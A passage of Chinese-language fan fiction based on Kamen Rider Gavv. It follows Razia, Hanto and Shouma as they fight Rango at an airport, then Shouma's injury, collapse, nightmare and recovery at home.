他叹了口气,掏出许久未用的樱桃果冻饱藏,心中默默对生真道了个歉。
某架尚未起飞的飞机内部,上百位人类乘客昏昏欲睡,脸上洋溢着笑容,似乎正在做一场不错的美梦。
拉齐亚越过排排座椅朝更深处走去,卫生间的门口躺着一个人类,手机掉落在不远处,显然是视频的拍摄者。虽然视频只有短短三秒,但依然在上传的不久之后就被幸果社长捕捉到,及时通知了三位假面骑士。
越是深入,空气中那股难以描述的清凉感觉就更为明显,只是无色无味,也足够平常,以至于哪怕是嗅觉极度敏锐的生真都很难意识到有问题,但拉齐亚能感受到——这是他自己的毒素,被尼耶鲁布窃取后就成为了大型失踪案的重要工具。
拉齐亚紧抿嘴唇,他并不喜欢被迫成为斯托马克家族帮凶的感觉,即使他曾经本就是临时工的一员。
背后的空气出现了一瞬间的流动,清凉的气息擦过拉齐亚的面孔,显得尤为清晰。他敏锐地侧身翻滚攀上椅背,一道闪着猩红光芒的激光就落到了他原本所在的位置。
眼看着特工的枪口再次对准自己,拉齐亚眼角余光瞥见四周昏昏沉沉的人群,果断翻出座椅再次踏上过道。
[布拉姆驱动器布丁芭菲形态]
枪口调转方向径直朝拉齐亚射来,还未近身便被驱动器召唤出的芭菲杯所弹飞,他抬眼望向前方,是两名兰戈的眷属,戴着黑色兜帽,手里提着两个枪械状的东西,自己的毒素大概就是通过这东西散播出来的。
“变身!”
彩色的水果与奶油高速旋转着贴上金黄的布丁,甜腻的气味掩盖住清凉与潮湿,金银色的骑士立于狭窄的过道里,手中的弓箭已然被拉起一道金色光影。
箭矢直冲眷属手中的黑色装置,只是碍于力道不足,对方只是随意格挡了一下便直接消散进虚空之中。然而下一秒,晶蓝色的水母触须瞬间冲破金属隔板缠绕上黑色装置,不间断散发着毒素的装置随着巨大的力道抛飞到空中,显然他的目标并不是破坏,而是抢夺!
狭窄的机舱绝对不适合拉齐亚的攻击,即使是战斗的余波也会伤害到人群,他的目的是夺取装置,将眷属引诱到更为开阔的停机坪。
然而,那黑色装置却离奇地在空中停顿了一瞬,下一秒,一道血红色的屏障突兀横贯进拉齐亚与装置之间,直接阻碍了他的下一步动作。
“好久不见,海月9。”
熟悉的威严嗓音从身后响起,拉齐亚心中一紧,急促转身。沉浸于美梦的乘客之中,一道黑色的身影理了理身上的衣物,从座椅上款款站起身。
“身为砂糖人,居然开始为人类考虑,这可不像你。”
黑红色的发丝,高傲的姿态,令人窒息的威压,拉齐亚的瞳孔瞬间收缩,虽然见到不同寻常的眷属时就已有一定的预感,但当兰戈真的站到了自己眼前,他依然觉得有些头皮发麻。
斯托马克家族真正的掌权人亲自动手了。
“生真!机场发生了大爆炸!已经上趋势了!”
“抱紧我!”
机车被启动到最大马力,直接无视了数个红绿灯,等赶到城东机场的时候,远处的停机坪正巧炸出一道冲天的火光,引来人类惊恐的尖叫。
这么大动静,只可能是拉齐亚做的。
蛋糕王饱藏被紧紧抓在掌心,生真看了眼四散奔逃的人群,一瞬间产生了破罐子破摔的冲动。如果吉普最后的诅咒并非虚假,那现在拉齐亚很有可能正独自面对兰戈,作为斯托马克公司叛逃的临时工,兰戈不会放过他的!
“别冲动!”
绊斗贴上生真的手腕,雪白的饱藏蠢蠢欲动,直接暴露了主人的内心。“拉齐亚让我看着你。”
生真最大的优点就是足够乖巧,现如今更是变得夸张异常。尽管绊斗只是轻轻拽着他的手腕,一甩就能挣脱开来,他也完全不挣扎,乖乖跟在自己身后,活像个任人摆布的人偶。
绊斗知道这不正常,但现在这种状态总比脱了缰的要好,起码很多事情还在控制范围之内。
逆着人流朝里靠近,机场警务的动作很快,似乎有被刻意训练过,他们不过才混入这里几分钟大厅内就已经空无一人,正巧方便了他们的行动。
绊斗瞥了一眼紧抿着嘴唇的生真,叹了口气,松开了他的手腕。于是这家伙便如同得到指令一般立刻化为蛋糕王,奶油长枪击穿窗户玻璃,直接纵身跃了下去。
晶蓝色的能量波冲出弓弦,附近的雨丝瞬时被蒸发殆尽,眷属避之不及,仰面接下拉齐亚的杀招,剧烈的火光冲天而起,伴随着强烈的爆炸,拉齐亚再次听到了远处人类的尖叫。
必杀技消耗不算小,他喘着粗气环视一圈,剩下的眷属再次将自己团团包围,看着数量不多,实力却足够强劲,极度难缠,不愧是兰戈的眷属。
“你的实力很不错,放弃红腹口重新归顺斯托马克,我可以考虑饶你一命。”
兰戈站在机身下抱臂旁观,适时丢出了橄榄枝。
“开什么玩笑。”拉齐亚嗤笑一声,“你能把我的弟弟还给我吗?可以的话,我或许愿意考虑一下。”
兰戈静静看了拉齐亚几秒,而后轻叹一声似是惋惜,朝眷属们微微抬起下巴。
“杀了他。”
话音刚落,拉齐亚的脑后就传来一阵劲风,他紧急侧头避开,拳风擦过耳侧,对方便立刻化拳为掌,一刀劈向他的颈部。拉齐亚微眯双眼,险险翻身避过,还未站稳,突然膝弯一痛,直接右腿一软跪倒在地。
水母触须冲破地面缠上背后偷袭的眷属,毫不犹豫刺入皮肤,然而对方根本没有任何反应,显然神经毒素对眷属这种类生命根本不起效果。
脑子里刚闪过这个想法,前方霍然闪出几束红光,顾不得与身后的眷属纠缠,拉齐亚化弓为刃一刀砍向直逼面门的激光射线,刺眼的光芒当场炸开,他迫不得已眯起眼睛,不过晃神的这一瞬,刚支起的上半身再次被狠狠擒住,双手被反剪在背后,激光枪咔哒一声对准了自己的脑袋!
枪口传来能量汇聚的轻微啸鸣,拉齐亚双眼通红地瞪向兰戈,似乎是想将一切罪责的源头狠狠刻进自己的心脏。
就在这时,头顶突然传出玻璃碎裂的声音,地面紧接着落下一道不算清晰的阴影,似是有人从上方直接跃了下来!
砰!砰!砰!
一股浓烈的甜香由远及近,缠在身上的眷属在拉齐亚意识到来人身份的下一秒倒飞出去,激光束险险擦过拉齐亚的脸颊,在远处留下一个焦黑的深坑。
冰川紧随其后从窗口急速生长,轻巧托住蛋糕王的同时分裂出更为锋利的巨大冰墙强势插入拉齐亚与眷属之间,弥漫的雨丝在寒风中瞬间化为细小冰晶,掉落在地上发出淅淅沥沥的声音。
蛋糕王与巧克力冰沙骑士一前一后出现在自己身边,在眷属的包围下警惕朝自己靠拢,拉齐亚抹开脸上被冻成冰块的奶油朝兰戈看去,那高高在上的斯托马克家族掌权人终于将视线朝这边扫过来,不着痕迹地在生真身上停留了片刻后,又回归了刚才冷漠旁观的模样。
拉齐亚知道此刻生真出现在这里并非好事,但当他真的举着武器站在自己前方时却又无法控制地感到欣喜与理所应当。
如果真的因此而退缩,那就不是井上生真了。
雨势似乎变大了起来,雨滴微扬,飘落在假面骑士们的盔甲之上,又被焦灼的热浪化为一片迷蒙的水雾。
接连格挡住眷属的连续进攻,水母触须缠上近身的右臂,借力凌空腾起,贴着眷属的背脊翻滚到另一侧抬脚一踹,夹着冰雪的子弹紧接着砰地一声击中眷属的腰侧,瞬间将其化为齑粉。
还未来得及站稳,一道金光已破开雨滴迎面朝拉齐亚袭来,他心中一动,握紧镰刃旋身横扫,金蓝双色的光芒同时劈向背后的眷属。
“轰——”
接连几只眷属被消灭,拉齐亚挥开浓雾站起身,一旦有了生真和绊斗的助力,即便是兰戈的眷属也显得不足为惧。
他下意识朝机身下望去,然而本该立于那里抱臂旁观的身影竟不知何时消失不见,拉齐亚大脑空白了一瞬,猛然回头。
一片灰白之下,一道从未见过的红光于生真的背后突兀乍现!
“快躲开!”
绊斗一个猛冲瞬时将生真扑倒在地,仅一瞬间,脑后传来剧烈炸响,热浪翻滚而来,将两人直接冲出十几米开外。
这个力量......!
拉齐亚的瞳孔陡然放大,停机坪的地面被轰出一大片深坑,剩余的几只眷属也已不见踪影,显然是在刚才的巨力之下当场溃散了。
生真甩了甩脑
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袋从绊斗怀里爬起来,伸出胳膊将他护在身后,警惕看向前方。
“哒,哒,哒。”
沉重的脚步声一步步踩在众人的心上,四周安静下来,似乎将这几个人彻底隔绝在了另一个世界。
拉齐亚听到了胸腔内血液倒流的声音,同样也听到了生真逐渐粗重的喘息。
“兰戈......哥哥......”
黑色的高大身影渐渐于灰白的雨幕中显现,血红的电光如同粗壮的血管盘旋周身,于张开的右手缓缓汇聚成一把血黑色巨剑。那巨剑一落地成型,便在焦黑的水泥地上砸出深深的裂痕,发出尖锐刺耳的金属摩擦声。
兰戈的视线落在了生真身上。
心脏的跳动变得更为剧烈,似是要冲破胸腔,但生真知道这不是身体的原因,而是陡然攀升的紧张与恐惧!
在场的所有人里没有人比自己更了解兰戈的实力,他能在父亲死后毫无悬念地成为新一任家主,靠的绝不仅仅是手段与野心,更是远远超出所有人的绝对实力!
那金属摩擦声逐渐变得绵长与清晰,兰戈的脚步一步步加快,正朝着生真疾驰而来!
生真呼吸一滞,猛地朝另一侧扑过去,紧急与两位同伴拉开距离,刚抬起奶油长枪,下一秒,剑风卷着雨水噼噼啪啪撞上蛋糕王装甲,生真被震得后退了几步,连气息都没喘匀,一片鲜艳的血红便如同滔天巨浪瞬间遮蔽了他的全部视野!
轰得一声炸响,蛋糕王连一点反抗余地都没有,如同离弦之箭般猛地撞上几十米开外的建筑。高楼被当场洞穿,没了支撑,大量砖石轰然坍塌,瞬间淹没雪白色身影!
“生真!”
浑身的血液直接被冻结,拉齐亚一瞬间几乎忘记了兰戈的存在,整个视线中只有那一片无声无息的砖石堆。
他几乎手脚并用地攀上半坍塌的建筑,钢筋林立,烟尘四散,却不见熟悉的身影。他不太确定生真的砂糖人血脉能扛得住多少,那副与人类没有任何区别的外表总是让他有些心生畏惧,觉得他是脆弱的人类,而非砂糖人。
空气中隐约飘散出许久未见的糖果香,裹着血腥气从某一处传来,拉齐亚本能地追随那股气味,掀开层层废墟,入眼便是一大片鲜红的血迹,浓郁的糖果香冲撞而来。
咬咬剑插在生真的身侧,抵住了摇摇欲坠的砖石堆,拉齐亚奋力掀开石板,碎石砸落下来,激得生真不住咳嗽。
“我没事,拉齐亚。”他借着拉齐亚的力爬出废墟,咬咬剑刚被收回,整片空间便轰然坍塌。
“过去了这么久依然没什么长进,果然还是个废物。”
兰戈提着大剑站在不远处,一击之后他并没有再次动手,似乎很乐意看这几个人惊慌失措的恐惧模样。
生真直视兰戈的眼睛,抬手抹开唇角滴落的鲜血,似乎并无畏惧,然而那愈发苍白的面容与细细颤栗的臂膀明显表明他已是强弩之末。
兰戈没有提及吉普他们的死亡,也没有表现出任何愤怒,但刚才那两击显然是抱着杀掉自己的目的来的,毕竟以他的实力理论上根本不会做偷袭之事。
连续杀掉斯托马克公司的三个高层,杀掉兰戈的三个弟弟妹妹,果然还是惹怒他了吧。
生真伸手去够掉落一旁的蛋糕王饱藏,雪白的饱藏沾染了血迹变得一片血红,似乎出于反抗的目的,它既不主动靠近,也没有传递出任何力量,如同一个死物——也或许真的变成了一个死物。
他泄气地垂下手腕。
即使已经走到了今天这一步,内心再也无法升起与哥哥姐姐们友好相处的幻想,但说不难过肯定是假的,不管是吉普也好,兰戈也罢,这样直白且毫不掩饰的杀意,无论怎样都会刺痛自己的心脏。
毕竟即使再怎么隐藏“斯托马克”的姓氏,隐藏那张怪异的红腹口,流淌在身体内的罪恶血液也永远存在,他们永远是自己的哥哥姐姐,自己也永远是所有人口中的“怪物”——不论是砂糖人,还是人类。
一切的逃避与欺瞒都只是掩耳盗铃,自欺欺人罢了。
他开始不知道自己坚持的意义在哪里,不明白,想不通的事情有太多太多,“守护妈妈的故乡”似乎已经成为了悬吊着自己的一根弦,只有将自己变成一尊没有思想也没有情感的人偶,它才能成为坚持下去的动力。
他几乎快要感受不到自己的存在了。
大剑在兰戈的手中翻转了一下,水花四溅,于水泥地面擦出一片鲜红的焰流,他似乎没有耐心等待无能的红腹口爬起来,血色再次缠绕上剑身,将四周的雨水瞬间化为一片水雾,即使是十几米开外,生真都能清晰感知到这滚烫的热量。
这一击,自己恐怕无力承受。
24. 枷锁(2)
“生真!快跑!”
身前落下两道阴影,生真下意识抬头望去,拉齐亚和绊斗已提着武器越过呆愣的自己冲了出去。
晶蓝色的水母触须急速缠绕为一面巨大的银盾,与厚重的冰墙一同横亘在前方,视线被隔绝开来,既看不见熟悉的身影,也感知不到灼热的高温。
“拉齐亚......绊斗......”
生真茫然地眨了眨眼,红光,蓝光,以及极端的冰凉气息交织在一起,隔着雾蒙蒙的冰墙不甚清晰,但他能听见声音。
箭矢的炸裂声,冰川的龟裂声,大剑在地上拖行的金属摩擦声,以及装甲碎裂解体的声音!
他的瞳孔陡然放大,混沌的大脑在一瞬间变得极为清明,他近乎本能地提起咬咬剑,一剑砍向厚重的冰墙!
他不想管这两个人是出于什么想法才将自己以保护的姿态隔绝于此,但放任他们代替自己面对兰戈只有死路一条!
没有饱藏的力量,生真只能靠着砂糖人的蛮力疯狂砍砸。他一直很庆幸自己拥有砂糖人的血脉,即使这是自己痛苦的根源,但至少带来了远超人类的强大力量。
冰墙终于发出细微的碎裂声,他粗喘着气,瞪大双眼,透过泛白不清的冰墙努力捕捉那两道身影,就在这时,一道冲天的火光在眼前陡然炸开,寒意刺骨,他贴着冰面,隐约看到了倒在一边的人影,和依然在苦苦支撑的另一个。
他不明白,为什么想要守护安稳与幸福如此艰难,拥有的东西也会在不经意之间偷偷溜走,明明自己渴望的并不多,每一样都极为珍惜,却就算拼了命地抓住也依然在失去,不停地失去。
双手在冰锥之下变得一片血红,鲜血滴滴答答将冰面染湿了一片却也恍若未觉。他紧盯着那道模糊不清的黑色身影,胸口起伏剧烈,死死拽住剑柄重重一击,咬咬剑竟在巨力之下一剑贯穿整面冰墙,使劲一掰,厚重的冰墙终于被砸出一道裂口。
布丁芭菲装甲被一击溃散,芭菲饱藏滚落在不远处,拉齐亚却再无力拾取。他用余光瞥向倒在另一边的绊斗,内心无法遏制地升起一阵悲凉之意。
哪怕当初面对格罗塔的时候,他都从未有过如此绝望的时刻。他能感觉到兰戈根本没使出全力,甚至绝大多数时候都只是站在原地张开血红色的屏障抵挡攻击,连砂糖人的原身都未曾展现。但即便如此,靠自己与绊斗两个人,能从他的手上活下来的可能性都是微乎其微。
他想起几十分钟前对登特叔公说的壮志豪言,脸上不由自主地露出一丝苦笑,明明刚决定好要陪着生真面对一切,未来似乎就要被兰戈彻底斩断了。
“再给你一次机会,放弃红腹口。”
他抬眼望向兰戈,闪着寒光的巨剑就在自己眼前,但他却仿佛听到了什么笑话一样嗤笑出声。
他永远都不会忘记生真闯入那间阴暗潮湿的临时住所时的光景。阳光破开黑暗,他穿着色彩明媚的糖果色,强行将自己扯进了童话里。
陌生的异世界,缤纷的欢乐游行,以及与自己产生联系的人类,全部都因此变得鲜活而生动,他不得不承认兰戈说的不错,他确实爱上了人类,与生真的爱没什么不同。
“没劲......不要讲这么无聊的台词。”
所以,如果能让生真获得一线生机,无论做什么都是值得的。
只求他不要再回来了。
剑气卷着雨珠砸在自己的脸上,拉齐亚垂下眼眸。
他好想科梅尔......
耳边蓦然传来铛的一声巨响,他的瞳孔陡然放大,除了淅淅沥沥的雨水,似乎还有更为粘稠的液体滴落到他的脸庞,正清晰地传来丝丝缕缕的糖果香。
他知道是谁,但内心却升不起一丝一毫的欣喜,只有愤怒,难以言喻的愤怒。
“不是让你逃吗?!还回来干什么!”
他气愤地抬头上望,然而对方没有身着蛋糕王装甲,也没有回望自己一眼,只是举着鲜血淋漓的咬咬剑,用人类的肉身奋力抵抗,面无表情,却双眼通红。
雨水一滴滴落到他的脸上,打湿了头发,顺着发丝往下滑落,流过眼角,划过下巴,如同泪水一般。
拉齐亚没见过生真这幅样子,不知道是因为悲伤,还是因为愤怒,总觉得他下一秒就会在自己眼前溃散,比科梅尔消失得更为彻底。
他一时怔住了,心脏处绵延开针扎般的剧痛,脑海中再次疯狂回荡起登特叔公说出的那些秘密。
明明刚才还好好的,为什么突然之间就变成了这样?
兰戈忍不住轻笑了一声,似乎一切都在意料之中。
咬咬剑在巨剑的衬托之下如同一个袖珍的玩具,兰戈只是使力一挥,剑柄便从井上生真的手中抛飞出去。
他直起身子垂眼注视面前的红腹口,缓缓伸手撩开衣物。华贵的衣料之下,砂糖人的腹口几乎占据了半个腹腔,獠牙林立,却不显丑陋,反倒在鳞片的反射下闪烁着点点幽光,如同神话中的远古巨龙,猛一现身便散发出极其恐怖的尊贵与威严。
这是力量的象征。
人类的外表衣物般层层脱落,泛着幽光的鳞片在血色之中如同精密的兵器翻涌而出,霎时间,更为恐怖的威压一瞬间爆发开来,只是前方有生真挡着,拉齐亚并未真的直面上位者的压迫与恐怖。
并未给生真足够反应的时间,兰戈右手握成实拳,一拳攻向了红腹口!
这一拳并未附加任何其余的力量,但即便如此也蕴藏了极为恐怖的气息,哪怕是纯血砂糖人也难以招架,更何况是只有一半血脉的井上生真!
然而他只是在巨力之下滑出几步,双手绞紧泛着幽光的拳头,依然死死盯着兰戈,一声不吭。
兰戈挑了挑眉,抽出拳头朝着胸口又是一击。
鲜血飞溅,对方弯下腰背不住地咳喘,双腿肉眼可见地发颤,但依然站立在原地,甚至捏起拳头,似乎还想给自己来一击。
十足的挑衅姿态!
兰戈终于升起一丝恼怒,拳风中带上了星星点点的血色电光。
“轰”得一声闷响,生真仰面砸在了地上,口中涌出一股鲜血,顺着雨水流淌于地,染出一片血色。兰戈一脚捻上红腹口的胸口,手中的巨刃甩出一阵剑风,急速擦过他的脸颊,铛得一声刺入水泥地面。
“红腹口,你从小就是这个样子。”兰戈盯着生真充满血丝的双眼,平静说道:“明明什么事情都做不到,明明什么力量都没有,除了碍眼不知道还能干什么。”
“当年你为什么没有死在叔公的手术台上?为什么还要活过来?为了证明你真的是个异类,是个怪物吗?”
“我听不懂你在说什么!”
生真奋力抵着胸口的重量,豆大的雨滴纷纷砸落在脸上,一寸寸浇灭燃烧的烈火。他不明白兰戈说的话是什么意思,也无力思考这些问题,下意识否认就已经耗尽了全部心力。
只是,那种藏在灵魂深处的认可再次无休无止地折磨着他的理智,比以往来得更为强烈,不知道是雨滴连成了一片,还是心脏的鼓动太过疯狂,他开始感到窒息。
“还不明白吗?你根本就没有活下去的价值。”
兰戈使了点劲,身下的红腹口发出一声艰难的呻吟,双手无力垂落在两侧,再没了挣扎的力气。
“弱小却一直受保护的异端份子,曾经是你那个人类母亲,现在是这群人类,哼,还多了个砂糖人叛徒。”他抬眼看了下不远处的两个人,勾了下嘴角,笑道:“不过现在已经没有人能保护你了。”
生真想起了妈妈,她被红舌卷在半空中时,留下的最后一句话是“生真,快逃”。
好不容易决定留在农妇家中,他们却因为自己被西塔和吉普盯上,他们说“和你在一起的人类似乎很幸福,真适合成为黑暗零食的原料。”
想要守护人类,大型失踪案死亡的人数却在一直增长,连一个都没能带回来。
如今,甚至因兰戈的针对连累了拉齐亚和绊斗。
井上先生的质问直到现在他都不知道该如何回答,他不想承认自己的无能,也不愿认为自己的存在毫无价值,他也想为自己争取幸福,所以那么努力地释放善意,任何事情都在拼尽全力,但事实一桩桩一件件地摆在了这里,全部都在重复着相同的话语:
“你的存在就是个错误。”
我的存在就是个错误。
兰戈的声音不大,却依然精准地落到了拉齐亚的耳中,生真被钉在地上一动不动,既不挣扎,也不反驳,地上积起了一滩红色的水,他陷在了水里。
兰戈面无表情地拔出插在地上的巨剑,剑身再次萦绕起一片血红电光,直指生真的咽喉。
就在这时,兰戈的动作兀然停顿了一下,拉齐亚顿时警觉。
疾风骤雨之中,他似乎隐约听到了一些声音,他想不起来,但总觉得有些熟悉。
他屏气凝神,那声音由
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远及近,正急速朝这边靠近!
然后他清晰地听到了引擎声,轮胎摩擦声,开门的声音,以及大量的脚步声......他们似乎提着重物,快速而训练有素地扩散开来!
拉齐亚瞪大了双眼,内心无法遏制地激动起来。
这个声音,只可能是人类!
准确来说,是人类武装力量!他们将这里包围了起来!
事情闹大到现在不过二十分钟,他们来得比自己想象中更为迅捷!
正待兰戈的注意力被吸引走的时候,他一掌拍上地面,晶蓝色的水母触须缠绕上生真,紧急将其拖离巨剑的范围。
“生真......”
掌心下的人终于有了反应,缓缓支起身体,朝自己望过来。只是那张面容比之前更加苍白,没有表情,也没有生气,与没有生命的人偶没什么区别。
他的心跳漏了一拍,逃避似的望向兰戈,对方果然不耐地拧起眉头,终于露出了到目前为止最为愤怒的表情。
他知道兰戈不会和人类警方硬碰硬,这很麻烦,是吃力不讨好的事情。
他果然收起了巨剑,红光一闪,再次变成人类的模样,在居高临下地审视了自己几秒之后,转身消失在了此地。
大雨中,拉齐亚听到了生真气若游丝的声音。
“我想回家,拉齐亚。”生真垂着脑袋,浑身上下狼狈不堪。
“带我回家吧。”
拉齐亚一手背着绊斗,一手牵着生真,缓缓走在小道上。
天色渐黑,雨还在下,只是他们没人带伞,也早就在战斗中浑身湿透了,于是仅仅只是沿着路边的林荫一步一步朝欢乐游行走去。
生真到现在都没说一句话,低着头摇摇晃晃地跟在自己身旁,他很怕生真在中途就倒下了,于是只能紧紧拽着他的手,让他尽量靠在自己身上,就像曾经他领着生病的科梅尔一样。
只是生真不是科梅尔,似乎并不愿领情。
他想早点回到欢乐游行,想早点让生真见到社长,可是这条熟悉的林荫小道今天却变得格外幽长。
周围的房屋逐渐亮起了灯,炊烟四起,人影绰绰,在寂静的雨声中显得如此生动,却让拉齐亚无端升起了一丝孤寂的感觉。有人站在屋外看雨,在见到他们三个人时不出意料地发出了惊声尖叫。
掌心中冰凉的指尖应激似的一阵紧缩,拉齐亚熟练地用身体挡住人类的视线,朝侧边低头看去。他只能看见生真湿透了的发丝和不停滴着雨水的下巴。
他低头看了看狼狈的自己,又看了看似乎更加糟糕的生真,轻声道:“他们不是在说你。”
似乎是为了与自己作对,周围逐渐传来窸窸窣窣的讨论声。
“好像是欢乐游行家的砂糖人员工。”
“幸果小姐真的知道这件事吗?”
“是辛木田先生!要不要报警啊......”
“不行!”声音顿了一下,又解释道:“我是说......别多管闲事,你想被砂糖人盯上吗?”
拉齐亚的神色冷了下来,幽幽看向肆无忌惮讨论的邻居,被尖叫声吸引出来的人群一哄而散,周围重归宁静,于是他便听到了身旁不太规律的喘息。
暴雨下得更狠,砸在身上都有些疼。生真的脚步逐渐加快,完全不像一个受了重伤的半砂糖人,步履匆匆地往前面走,越走越快,似乎前方有什么魂牵梦绕的东西,不快点的话马上就会消失掉。拉齐亚用力牵着,加紧步伐跟上,生怕一不小心就跟丢了。
直到见到那间色彩缤纷的圆顶小屋,生真挣脱开拉齐亚的手,顶着大雨一路狂奔过去。
他停在了彩色的栅栏前,伸手抚上木栅栏,安静看着眼前灯火通明的万事屋,就如同当初心怀忐忑地再次站在这里,思考如何让欢乐游行的老板收留无处可去的自己。
如今窗户里隐隐绰绰,幸果小姐在等自己回来。
他笑着,低声喊了句“幸果小姐”,万事屋的灯光洒落在门口的小院里,他的面前是一片光明,他站在了黑暗里。
心脏急促的鼓动声一瞬间变得极为清晰,似乎预感到了什么,拉齐亚瞳孔陡然放大,下意识大喊了一声“生真!”
对方回过头,漆黑的瞳孔在黑暗之中看不分明,但那身沾染了大片血色的蓝卫衣却极度显眼。
那片深红泛紫的身影摇摇晃晃地朝他靠近了几步,而后如同彻底失去支撑的人偶,一下栽倒在地。
25. 伊始(1)
生真。
“生真!”
生真于一片血红中醒来,周围的环境太过嘈杂,凌乱的脚步声,机器的轰鸣声,红舌的黏腻声,还有自己魂牵梦绕的声音。
“生真!快跑!”
他霍然睁眼,发觉自己被压在地上,双手被特工反剪在身后,面前是被红舌高高吊起的妈妈,近乎疯狂地朝自己怒吼。
“生真!快跑!”
他迷茫了一瞬,不明白发生了什么,身体却快过大脑,直觉地掏出饱藏变身。
葡萄软糖装甲瞬间覆盖全身,咬咬剑从腹口中一击脱出,仅一剑便把缠在妈妈身上的红舌瞬间割断。
其实现在的状况不太对劲。他踉跄着冲上前握住妈妈的手,温暖而柔软的掌心是那么熟悉。但是很多事情他都不想去思考真实性,想做就应该毫无顾忌地去做,如果真的能有再来一次的机会,他无论怎样都不会再重蹈覆辙。
于是他紧紧抓着这双手,冲出零食工厂,熟练地来到门之长廊。
妈妈说过想要与自己一同回到人类世界,这个愿望马上就会实现了。
他兴奋地推开眼前的门扉,拉着妈妈径直穿过泛着白光的大门。
然而,他的脚下却突然一空,身体直直往下坠落,紧握的双手在自己下坠的一瞬间突兀消失,他连惊恐都来不及就猝然跌落进一大片杂乱硌人的东西里。
一个手掌大小的灰红色事物从空中坠落,摔在了他的面前。
即使根本没看清它的样貌,他也知道那是什么,因为记忆太过深刻,哪怕只是短短一瞬,他也把这事物刻进了自己的心里。
这是被制作成黑暗零食后的人类残骸,是自己的妈妈,被格罗塔捏成了粉末。
他僵在原地,呆呆地看着面前的事物,他不明白明明自己已经救下了妈妈,为什么事情还是朝自己不愿看到的方向发展了。
他几乎连滚带爬地将妈妈贴上自己的心脏,掌心下的器官在疯狂地跳动,似乎想要将妈妈的那一份一起弥补回来。
他跪趴在地上,粗喘着,浑身都失去了力气。周围一片寂静,没有砂糖人,没有眷属,连风都没有。
就在这时,似乎有什么东西一点点勾住了自己的脚腕,他迷茫地回头望去。
那是一双手,一双瘦骨嶙峋,如同被压榨干净之后只剩表皮与骸骨,骷髅一般的手。他极度惊恐地一脚踹开,生生把自己往后挪了两步,这才注意到自己究竟来到了哪里。
四周全部都是与妈妈一样的人类残骸,被压缩成掌心大小的一片,囤放在这道门背后,放眼望去密密麻麻,根本数不清到底有多少。
这里是斯托马克公司囤放工业废料的地方,是一座人类的坟场。
而在压缩人类的下面,还有一些已脱离压缩状态,完全暴露原本模样的人类,就如同刚才勾住自己脚腕的那双手,皮肤贴着骨骼,已经被风干了。
这里有曾经的逝者,但更多的是大型失踪案的受害者,已经被做成了黑暗零食,而躯壳被囤放在这里,永不见天日。
四周隐约传来窸窸窣窣的声音,是人类惊恐的尖叫,越来越清晰,也越来越嘈杂,无孔不入地钻入生真的脑海。
“闭嘴!”
他颤栗着,紧紧闭上双眼,双手捂住耳朵,不想看也不想听,更多冰凉的指骨扣住脚腕,勾住衣服,它们拉扯着自己。
[期待与你地狱相见]
他听到了吉普的声音。
“不要再说了!”
眼前再次变得一片血红,他似乎又回到了嘈杂的工厂,人类的声音还在耳边回荡,只是一道更为威严的声音破开密密麻麻的人类语言。
他说:“你的存在就是个错误。”
生真惊恐地倒吸一口气,冰凉的气息如同不速之客瞬间搅入滚烫的器官,让他猛然升起强烈的反胃感。
他几乎本能地弓起身子,抵着胃部干呕出声,只是胃里空荡荡的,他已经太久没有进食过需要的东西了。
他脱力地软倒下来,眼前是一片黑暗,他看不太清,但四周不再有无休止的窃窃私语,只有轻微的风声,空调机运行的嗡嗡声,和自己杂乱而凶猛的心跳。
似乎感受到熟悉的东西,他缓了缓,跳着雪花的漆黑视野终于逐渐变得清晰。
头顶是一片温柔的紫色,窗边洒进一片月光,正巧铺在自己身上。他还在欢乐游行,躺在自己的床上,室内是有些微凉的温度,空气中伴着花香,大概是幸果小姐的手笔。
刚才的一切似乎只是梦而已。
外面的雨已经不再下了,没有雨声,没有行人,没有车辆,下面的桌子上点着一盏小台灯,散发着幽幽微光。屋子里静悄悄的,好像没有人,当然也没有饱藏,整个世界似乎又只剩下了他一个。
那种强烈的被放逐的感觉如同带刺的荆棘再次绞紧胃部,于是他从床上爬起来,开始急切地翻找手机。
想知道绊斗的状况如何了,想知道飞机上的乘客有没有被救回来,想知道同伴们都去哪了,为什么独独把自己丢在了原地。
很多事情都是越着急就会变得越是糟糕,床铺与桌子被翻得一团糟,书册从柜子上掉落,砸翻了笔筒,数十支彩笔骨碌碌滚落,在寂静的夜里尤为清晰。
生真脱力地半趴在书桌上,紧紧握住根本止不住发颤的双臂,屋内的气温对于他来说有些过于冷了。直到一双更加冰凉的手握住他的手腕,他木然抬起头,银白色的戒指套在修长的指节上,在月光的照耀下一闪一闪地落进了瞳孔里。
[7月20日,城东机场再现大型失踪案作案手法,同时发生原因不明的大爆炸,幸运的是警方及时赶到,被困的受害者全部被成功救出,无人受伤。原因正在持续调查中,请关注官方报道,请勿听信谣言。]
拉齐亚拿了件外衣给生真披上,靠着一侧坐下,静静看着他将新闻翻来覆去看了四五遍,似乎终于确认自己不是在做梦,他放下手机,轻声问道:“绊斗怎么样了?”
“他几天前就醒了,没什么问题。”
见生真朝自己露出疑惑的神色,他耐心地托起对方掌中的手机,点亮屏幕,时间显示在半夜两点,日期是7月27日,星期日。
怪不得月光这么亮,原来暴雨已经过去了。
“兰戈呢?这几天有出现吗?”
“出现过一次。但我们赶过去的时候他已经不见了。”
意思就是又有人被抓了。
生真沉默了一会儿,转头又觉得拉齐亚和绊斗没碰上兰戈是件好事。
“蛋糕王饱藏呢?”
拉齐亚注视了生真片刻,抿了抿嘴从沙发上站起来,走到饱藏小屋面前掏出那只饱藏递给了生真。
上面沾染的血液已经被清洗干净,蛋糕王饱藏再次变回了雪白的模样,只是本该活跃的小家伙躺在生真手中一动不动,既不亲昵地攀上生真的肩头,也不发出除了生真没人听得懂的饱藏语,如同一个普通的小摆件,而不是假面骑士加布的战斗武器。
它似乎真的失去了生命。
“饱藏是需要幸福才能维持生命力的。”生真的指尖擦过蛋糕王尖尖的脑袋,“其实我一直觉得饱藏们永远都不会离开我,但我似乎想错了。”
“在我刚来到人类世界的时候,是饱藏们一直陪伴着我,至少让我在这个陌生的世界里没有那么孤单与无所适从。它们来源于美味的零食,更准确来说,是来源于深藏在人类血液中的幸福与甜蜜,这也是妈妈能够在那里坚持下来的精神支撑。”
生真抬起握着蛋糕王的手,月光洒落其上,给小家伙镀上了一层生动的银色,阴影落下,小黑豆似的眼睛仿佛又一次现出光彩。“所以当我第一次见到饱藏的时候,总觉得它们是妈妈、是人类世界送给我的礼物,也是我与人类世界存在联系的证明。”
井上生真说这话的时候脸上终于浮现出了拉齐亚很久未见的,发自真心的笑容,只是这笑容仅维持了一瞬,便被瞳孔中浓重的无措与悲伤所覆盖了。
